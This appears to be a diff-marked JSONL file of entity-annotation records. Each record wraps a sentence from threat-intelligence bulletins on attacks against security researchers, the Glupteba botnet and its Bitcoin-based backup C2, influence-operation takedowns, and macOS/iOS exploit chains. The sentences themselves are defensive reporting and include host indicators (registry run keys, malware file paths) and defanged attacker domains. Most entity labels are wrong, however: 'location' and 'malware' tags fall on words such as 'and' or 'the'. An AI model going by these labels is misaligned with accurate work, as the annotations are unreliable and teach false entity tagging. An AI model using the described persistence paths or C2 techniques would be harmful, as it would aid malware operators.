 {"id":12418,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":38610,"label":"malware","start_offset":80,"end_offset":87},{"id":38611,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":12419,"text":"Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.","entities":[{"id":38613,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":12420,"text":"After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”","entities":[{"id":38614,"label":"location","start_offset":26,"end_offset":30},{"id":38616,"label":"location","start_offset":117,"end_offset":121},{"id":38617,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":12421,"text":"The actors have been observed targeting specific security researchers by a novel social engineering method.","entities":[{"id":38618,"label":"location","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":12422,"text":"After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.","entities":[{"id":38619,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":12423,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":38622,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":12424,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]}
-{"id":12425,"text":"An example of the VS Build Event can be seen in the image below.","entities":[{"id":38624,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":12426,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.","entities":[],"relations":[],"Comments":[]}
-{"id":12427,"text":"In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.","entities":[{"id":38625,"label":"location","start_offset":115,"end_offset":118},{"id":38626,"label":"location","start_offset":200,"end_offset":203},{"id":38627,"label":"location","start_offset":274,"end_offset":277}],"relations":[],"Comments":[]}
-{"id":12428,"text":"At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.","entities":[{"id":38628,"label":"location","start_offset":7,"end_offset":11},{"id":38629,"label":"location","start_offset":75,"end_offset":78},{"id":38630,"label":"location","start_offset":85,"end_offset":89},{"id":38631,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":12429,"text":"At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.","entities":[{"id":38632,"label":"location","start_offset":8,"end_offset":12},{"id":38633,"label":"location","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":12430,"text":"Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.","entities":[{"id":38635,"label":"location","start_offset":75,"end_offset":78},{"id":38636,"label":"location","start_offset":92,"end_offset":98},{"id":38637,"label":"location","start_offset":135,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":12431,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":12432,"text":"These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.","entities":[{"id":38644,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":12433,"text":"We are providing a list of known accounts and aliases below.","entities":[{"id":38645,"label":"location","start_offset":3,"end_offset":6},{"id":38646,"label":"location","start_offset":19,"end_offset":23},{"id":38647,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":12434,"text":"If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
-{"id":12435,"text":"To date, we have only seen these actors targeting Windows systems as a part of this campaign.","entities":[{"id":38648,"label":"location","start_offset":3,"end_offset":7},{"id":38649,"label":"location","start_offset":17,"end_offset":21},{"id":38650,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":12436,"text":"If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.","entities":[{"id":38651,"label":"location","start_offset":7,"end_offset":10},{"id":38652,"label":"location","start_offset":30,"end_offset":33},{"id":38653,"label":"location","start_offset":224,"end_offset":233},{"id":38655,"label":"location","start_offset":270,"end_offset":273},{"id":38656,"label":"location","start_offset":283,"end_offset":291}],"relations":[],"Comments":[]}
 {"id":12437,"text":"Host IOCs Registry Keys HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\KernelConfig HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DriverConfig HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SSL Update File Paths C:\\Windows\\System32\\Nwsapagent.sys C:\\Windows\\System32\\helpsvc.sys C:\\ProgramData\\USOShared\\uso.bin C:\\ProgramData\\VMware\\vmnat-update.bin C:\\ProgramData\\VirtualBox\\update.bin","entities":[{"id":38657,"label":"location","start_offset":0,"end_offset":4},{"id":38658,"label":"REGISTRYKEY","start_offset":24,"end_offset":83},{"id":38659,"label":"REGISTRYKEY","start_offset":84,"end_offset":143},{"id":38660,"label":"REGISTRYKEY","start_offset":144,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":12438,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":12439,"text":"It was last updated on January 26, 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":12440,"text":"We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":12441,"text":"This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.","entities":[{"id":38665,"label":"location","start_offset":5,"end_offset":13},{"id":38666,"label":"location","start_offset":23,"end_offset":30},{"id":38669,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":12442,"text":"We received leads from Facebook that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12443,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":12444,"text":"This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).","entities":[{"id":38675,"label":"location","start_offset":5,"end_offset":13},{"id":38676,"label":"location","start_offset":14,"end_offset":22},{"id":38677,"label":"location","start_offset":30,"end_offset":37},{"id":38678,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":12445,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38681,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12446,"text":"We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
-{"id":12447,"text":"This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.","entities":[{"id":38685,"label":"location","start_offset":5,"end_offset":13},{"id":38686,"label":"location","start_offset":14,"end_offset":22},{"id":38688,"label":"location","start_offset":62,"end_offset":65},{"id":38689,"label":"location","start_offset":73,"end_offset":80},{"id":38691,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":12448,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38693,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":12449,"text":"We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":38696,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":12450,"text":"This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.","entities":[{"id":38699,"label":"location","start_offset":5,"end_offset":13},{"id":38700,"label":"location","start_offset":23,"end_offset":30},{"id":38702,"label":"location","start_offset":52,"end_offset":55},{"id":38703,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":12451,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":12452,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38706,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12453,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":12454,"text":"This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.","entities":[{"id":38710,"label":"location","start_offset":5,"end_offset":13},{"id":38711,"label":"location","start_offset":23,"end_offset":30},{"id":38713,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":12455,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":12456,"text":"This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.","entities":[{"id":38718,"label":"location","start_offset":5,"end_offset":13},{"id":38719,"label":"location","start_offset":23,"end_offset":30},{"id":38722,"label":"location","start_offset":76,"end_offset":79},{"id":38724,"label":"location","start_offset":111,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":12457,"text":"We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.","entities":[],"relations":[],"Comments":[]}
-{"id":12458,"text":"This domestic campaign posted content supporting the Indonesian government.","entities":[{"id":38729,"label":"location","start_offset":5,"end_offset":13},{"id":38730,"label":"location","start_offset":14,"end_offset":22},{"id":38731,"label":"location","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":12459,"text":"We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[{"id":38735,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":12460,"text":"This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.","entities":[{"id":38738,"label":"location","start_offset":5,"end_offset":13},{"id":38739,"label":"location","start_offset":21,"end_offset":28},{"id":38742,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":12461,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12462,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":12463,"text":"This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.","entities":[{"id":38748,"label":"location","start_offset":5,"end_offset":13},{"id":38749,"label":"location","start_offset":21,"end_offset":28},{"id":38752,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":12464,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38755,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12465,"text":"We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.","entities":[],"relations":[],"Comments":[]}
-{"id":12466,"text":"This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.","entities":[{"id":38760,"label":"location","start_offset":5,"end_offset":13},{"id":38761,"label":"location","start_offset":21,"end_offset":28},{"id":38764,"label":"location","start_offset":76,"end_offset":79},{"id":38766,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":12467,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38768,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12468,"text":"We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":12469,"text":"This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.","entities":[{"id":38773,"label":"location","start_offset":5,"end_offset":13},{"id":38774,"label":"location","start_offset":21,"end_offset":28},{"id":38776,"label":"location","start_offset":38,"end_offset":41},{"id":38778,"label":"location","start_offset":68,"end_offset":71},{"id":38779,"label":"location","start_offset":86,"end_offset":93},{"id":38781,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":12470,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38783,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12471,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":12472,"text":"This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.","entities":[{"id":38788,"label":"location","start_offset":5,"end_offset":13},{"id":38789,"label":"location","start_offset":14,"end_offset":22},{"id":38791,"label":"location","start_offset":53,"end_offset":56},{"id":38792,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":12473,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38793,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":12474,"text":"We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":38797,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":12475,"text":"This campaign uploaded content in Russian critical of the Ukrainian government.","entities":[{"id":38800,"label":"location","start_offset":5,"end_offset":13},{"id":38801,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":12476,"text":"We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.","entities":[],"relations":[],"Comments":[]}
-{"id":12477,"text":"The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.","entities":[{"id":38806,"label":"location","start_offset":4,"end_offset":12},{"id":38807,"label":"location","start_offset":22,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":12478,"text":"We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":38811,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":12479,"text":"This campaign uploaded content in Arabic about current events in the Middle East and North Africa.","entities":[{"id":38814,"label":"location","start_offset":5,"end_offset":13},{"id":38815,"label":"location","start_offset":23,"end_offset":30},{"id":38818,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":12480,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38820,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12481,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]}
-{"id":12482,"text":"This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.","entities":[{"id":38825,"label":"location","start_offset":5,"end_offset":13},{"id":38826,"label":"location","start_offset":23,"end_offset":30},{"id":38829,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":12483,"text":"The campaign targeted the Central African Republic and Mali.","entities":[{"id":38831,"label":"location","start_offset":4,"end_offset":12},{"id":38833,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":12484,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38835,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12485,"text":"We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":12486,"text":"This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.","entities":[{"id":38840,"label":"location","start_offset":5,"end_offset":13},{"id":38841,"label":"location","start_offset":14,"end_offset":22},{"id":38842,"label":"location","start_offset":32,"end_offset":39},{"id":38844,"label":"location","start_offset":89,"end_offset":92},{"id":38847,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":12487,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":12488,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.","entities":[{"id":38852,"label":"location","start_offset":38,"end_offset":45},{"id":38854,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":12489,"text":"A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S.","entities":[{"id":38855,"label":"location","start_offset":7,"end_offset":12},{"id":38856,"label":"location","start_offset":29,"end_offset":36},{"id":38858,"label":"location","start_offset":48,"end_offset":51},{"id":38861,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":12490,"text":"We received leads from Graphika and Fireye that supported us in this investigation.","entities":[{"id":38865,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":12491,"text":"These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.","entities":[{"id":38867,"label":"location","start_offset":15,"end_offset":18},{"id":38869,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":12492,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":12493,"text":"It was last updated on May 12, 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":12494,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":38873,"label":"location","start_offset":119,"end_offset":122},{"id":38874,"label":"malware","start_offset":123,"end_offset":127},{"id":38875,"label":"location","start_offset":157,"end_offset":160},{"id":38876,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":12495,"text":"Google TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":38879,"label":"location","start_offset":43,"end_offset":46},{"id":38880,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
 {"id":12496,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[{"id":38881,"label":"tools","start_offset":48,"end_offset":54},{"id":38882,"label":"location","start_offset":55,"end_offset":58},{"id":38883,"label":"location","start_offset":59,"end_offset":67},{"id":38884,"label":"location","start_offset":84,"end_offset":87},{"id":38885,"label":"location","start_offset":121,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":12497,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":38888,"label":"location","start_offset":37,"end_offset":43},{"id":38889,"label":"malware","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":12498,"text":"We believe this action will have a significant impact on Glupteba's operations.","entities":[{"id":38890,"label":"location","start_offset":16,"end_offset":22},{"id":38891,"label":"location","start_offset":23,"end_offset":27},{"id":38892,"label":"location","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":12499,"text":"However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.","entities":[{"id":38895,"label":"location","start_offset":35,"end_offset":38},{"id":38896,"label":"location","start_offset":39,"end_offset":45},{"id":38897,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":12500,"text":"Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.","entities":[{"id":38899,"label":"location","start_offset":44,"end_offset":47},{"id":38900,"label":"location","start_offset":57,"end_offset":61},{"id":38901,"label":"location","start_offset":105,"end_offset":108},{"id":38902,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":12501,"text":"TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.","entities":[{"id":38907,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":12502,"text":"The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).","entities":[{"id":38909,"label":"malware","start_offset":4,"end_offset":12},{"id":38910,"label":"location","start_offset":92,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":12503,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":38911,"label":"location","start_offset":16,"end_offset":20},{"id":38913,"label":"malware","start_offset":70,"end_offset":78},{"id":38914,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
 {"id":12504,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":38915,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":12505,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.","entities":[{"id":38916,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
 {"id":12506,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":38918,"label":"location","start_offset":73,"end_offset":83},{"id":38919,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":12507,"text":"These services include selling access to virtual machines loaded with stolen credentials (dont[.]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.","entities":[{"id":38920,"label":"location","start_offset":129,"end_offset":132},{"id":38921,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
 {"id":12508,"text":"This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":38926,"label":"malware","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":12509,"text":"We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.","entities":[{"id":38934,"label":"location","start_offset":106,"end_offset":111},{"id":38935,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":12510,"text":"Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.","entities":[{"id":38940,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":12511,"text":"In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.","entities":[{"id":38942,"label":"location","start_offset":80,"end_offset":83},{"id":38945,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":12512,"text":"During this time, an additional 130 Google accounts associated with this operation were terminated.","entities":[{"id":38946,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":12513,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":38949,"label":"location","start_offset":36,"end_offset":39},{"id":38953,"label":"malware","start_offset":179,"end_offset":187},{"id":38954,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":12514,"text":"Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.","entities":[{"id":38961,"label":"location","start_offset":192,"end_offset":195},{"id":38962,"label":"location","start_offset":245,"end_offset":248}],"relations":[],"Comments":[]}
-{"id":12515,"text":"While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.","entities":[{"id":38963,"label":"location","start_offset":20,"end_offset":23},{"id":38964,"label":"location","start_offset":39,"end_offset":43},{"id":38966,"label":"location","start_offset":90,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":12516,"text":"The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.","entities":[{"id":38967,"label":"location","start_offset":12,"end_offset":15},{"id":38968,"label":"location","start_offset":94,"end_offset":97},{"id":38969,"label":"location","start_offset":113,"end_offset":120},{"id":38970,"label":"location","start_offset":141,"end_offset":144}],"relations":[],"Comments":[]}
 {"id":12517,"text":"To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.","entities":[],"relations":[],"Comments":[]}
-{"id":12518,"text":"In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:  The following 32 byte AES keys for decryption are hard coded in the binaries:  The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.","entities":[{"id":38971,"label":"location","start_offset":75,"end_offset":78},{"id":38973,"label":"location","start_offset":231,"end_offset":234},{"id":38974,"label":"location","start_offset":235,"end_offset":239},{"id":38975,"label":"location","start_offset":308,"end_offset":311},{"id":38976,"label":"location","start_offset":371,"end_offset":374}],"relations":[],"Comments":[]}
-{"id":12519,"text":"The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain","entities":[{"id":38977,"label":"location","start_offset":94,"end_offset":100},{"id":38978,"label":"location","start_offset":101,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":12520,"text":"Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":38979,"label":"malware","start_offset":16,"end_offset":24},{"id":38980,"label":"location","start_offset":44,"end_offset":47},{"id":38982,"label":"location","start_offset":127,"end_offset":130},{"id":38983,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":12521,"text":"Recent domains used for command and control:","entities":[{"id":38984,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":12522,"text":" Recent sha256 hashes of malware samples:","entities":[],"relations":[],"Comments":[]}
 {"id":12523,"text":" This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":12524,"text":"It was last updated on February 7, 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":12525,"text":"To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
-{"id":12526,"text":"In late August 2021, TAG discovered watering hole attacks targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.","entities":[{"id":38990,"label":"location","start_offset":45,"end_offset":49},{"id":38992,"label":"location","start_offset":105,"end_offset":110},{"id":38993,"label":"location","start_offset":118,"end_offset":121},{"id":38994,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":12527,"text":"The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.","entities":[{"id":38995,"label":"location","start_offset":13,"end_offset":17},{"id":38996,"label":"attack-pattern","start_offset":32,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":12528,"text":"As is our policy, we quickly reported this 0-day to the vendor (Apple) and a patch was released to protect users from these attacks.","entities":[{"id":38999,"label":"location","start_offset":56,"end_offset":62},{"id":39001,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":12529,"text":"Based on our findings, we believe this threat actor to be a well-resourced group, likely state backed, with access to their own software engineering team based on the quality of the payload code.","entities":[{"id":39002,"label":"location","start_offset":82,"end_offset":88},{"id":39003,"label":"location","start_offset":167,"end_offset":174}],"relations":[],"Comments":[]}
-{"id":12530,"text":"In this blog we analyze the technical details of the exploit chain and share IOCs to help teams defend against similar style attacks.","entities":[{"id":39004,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":12531,"text":" The websites leveraged for the attacks contained two iframes which served exploits from an attacker-controlled server—one for iOS and the other for macOS.","entities":[{"id":39006,"label":"location","start_offset":119,"end_offset":122},{"id":39007,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":12532,"text":"iOS Exploits","entities":[],"relations":[],"Comments":[]}
 {"id":12533,"text":"The iOS exploit chain used a framework based on Ironsquirrel to encrypt exploits delivered to the victim's browser.","entities":[{"id":39008,"label":"malware","start_offset":48,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":12534,"text":"We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari.","entities":[{"id":39009,"label":"location","start_offset":11,"end_offset":17},{"id":39010,"label":"location","start_offset":51,"end_offset":55},{"id":39011,"label":"identity","start_offset":57,"end_offset":61},{"id":39012,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":12535,"text":"macOS Exploits","entities":[],"relations":[],"Comments":[]}
-{"id":12536,"text":"The macOS exploits did not use the same framework as iOS ones.","entities":[{"id":39014,"label":"location","start_offset":35,"end_offset":39}],"relations":[],"Comments":[]}
 {"id":12537,"text":"The landing page contained a simple HTML page loading two scripts—one for Capstone.js and another for the exploit chain.","entities":[{"id":39015,"label":"location","start_offset":4,"end_offset":11},{"id":39016,"label":"tools","start_offset":12,"end_offset":16},{"id":39017,"label":"malware","start_offset":41,"end_offset":45},{"id":39019,"label":"location","start_offset":66,"end_offset":69},{"id":39020,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
